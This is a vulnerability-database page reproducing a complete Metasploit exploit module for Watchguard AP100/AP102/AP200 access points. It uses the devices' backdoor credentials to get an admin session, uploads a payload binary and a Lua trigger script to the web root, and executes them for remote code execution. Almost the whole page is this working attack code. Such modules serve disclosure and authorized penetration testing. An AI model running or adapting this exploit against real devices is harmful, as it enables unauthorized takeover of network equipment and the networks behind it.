Lucene search
K

Watchguard AP100 AP102 AP200 1.2.9.15 - Remote Code Execution (Metasploit)

🗓️ 14 Sep 2018 00:00:00Reported by Stephen ShkardoonType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

Watchguard AP Backdoor Shell - Remote Code Execution (Metasploit). This module exploits a backdoor account with known credentials to gain access and execute a shell on Watchguard AP devices, allowing unauthorized remote code execution

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'        => 'Watchguard AP Backdoor Shell',
      'Description' => 'Watchguard AP\'s have a backdoor account with known credentials. This can be used to
                        gain a valid web session on the HTTP administration interface. The administrator
						can then upload a shell directly to the web root to execute it.
						This module can also be used if you have legitimate access credentials to the device.',
      'References'  =>
        [
            ['CVE', 'CVE-2018-10575'],
	    ['CVE', 'CVE-2018-10576'],
	    ['CVE', 'CVE-2018-10577'],
            ['URL', 'http://seclists.org/fulldisclosure/2018/May/12'],
	    ['URL', 'https://watchguardsupport.secure.force.com/publicKB?type=KBSecurityIssues&SFDCID=kA62A0000000LIy'],
        ],
      'Author'      => 'Stephen Shkardoon ', # ss23 / @ss2342
      'License'     => MSF_LICENSE,
      'Platform'    => 'linux',
      'Targets'        => [ [ 'Automatic', { } ] ],
      'DefaultTarget'  => 0,
      'Arch'           => ARCH_MIPSBE,
    ))

    register_options(
      [
        Opt::RPORT(443),
        #Opt::SSL(true),
        OptString.new('WG_USER', [ true, 'The username to authenticate as', 'admin']),
        OptString.new('WG_PASS', [ true, 'The password for the specified username', '1234']),
      ])
  end

  def exploit
  begin
    res = send_request_cgi({
        'method'  => 'GET',
        'uri'     => '/cgi-bin/luci/',
        'headers' => {
          'AUTH_USER' => datastore['WG_USER'],
          'AUTH_PASS' => datastore['WG_PASS'],
        },
      })

    if res.nil? || res.get_cookies.empty?
	    fail_with(Failure::NotFound, 'Unable to obtain a valid session with provided credentials')
	  end
	  
	  # We have a valid session, so we should pull out the access credentials and find the serial number
	  sysauth = res.get_cookies.scan(/(sysauth=\w+);*/).flatten[0]
    stok = res.redirection.to_s.scan(/;(stok=\w+)/).flatten[0]
	
	  vprint_status("Got sysauth #{sysauth}")
    vprint_status("Got stok #{stok}")
    
    res = send_request_cgi({
        'method'    => 'GET',
        'uri'       => "/cgi-bin/luci/;#{stok}/html/Status",
        'headers' => {
          'AUTH_USER' => datastore['WG_USER'],
          'AUTH_PASS' => datastore['WG_PASS'],
        },
        'cookie'    => sysauth,
      })
    
    if res.nil? || res.code != 200
      fail_with(Failure::NotFound, 'Unable to request serial')
	  end
    
    # Pull out the serial and store it for later
    # var	device_serial = "20AP0XXXXXXXX";
    if res.body.match(/device_serial = "(\w+)";/)
      serial = $1
    else
      fail_with(Failure::NotFound, 'Unable to find serial in response')
    end
    
    vprint_status("Got serial #{serial}")

    # Finally, upload our payloads
    res = send_request_cgi({
        'method'    => 'POST',
        'uri'       => "/cgi-bin/luci/;#{stok}/wgupload",
        'headers' => {
          'AUTH_USER' => datastore['WG_USER'],
          'AUTH_PASS' => datastore['WG_PASS'],
        },
        'cookie'    => "#{sysauth}; serial=#{serial}; filename=/tmp/payload; md5sum=fail",
        'data'      => payload.encoded_exe,
      })

    if res.nil? || res.code != 205
      fail_with(Failure::NotFound, "Could not upload file 1: #{res.body}")
    end
  
    # Upload the lua script that executes our payload
    res = send_request_cgi({
        'method'    => 'POST',
        'uri'       => "/cgi-bin/luci/;#{stok}/wgupload",
        'headers' => {
          'AUTH_USER' => datastore['WG_USER'],
          'AUTH_PASS' => datastore['WG_PASS'],
        },
        'cookie'    => "#{sysauth}; serial=#{serial}; filename=/www/cgi-bin/payload.luci; md5sum=fail",
        'data'     => "#!/usr/bin/lua
os.execute('/bin/chmod +x /tmp/payload');       
os.execute('/tmp/payload');"
      })
    
    if res.nil? || res.code != 205
      fail_with(Failure::NotFound, "Could not upload file 1: #{res.body}")
    end
    
    # Remove the trigger script once we've got a shell
    register_file_for_cleanup("/www/cgi-bin/payload.luci")
    
    vprint_status("Uploaded lua script")
    
    # Trigger our payload
    res = send_request_cgi({
        'method'    => 'GET',
        'uri'       => "/cgi-bin/payload.luci",
      })
      
    vprint_status("Requested lua payload")
    
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Failed to connect to the web server")
      return nil
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation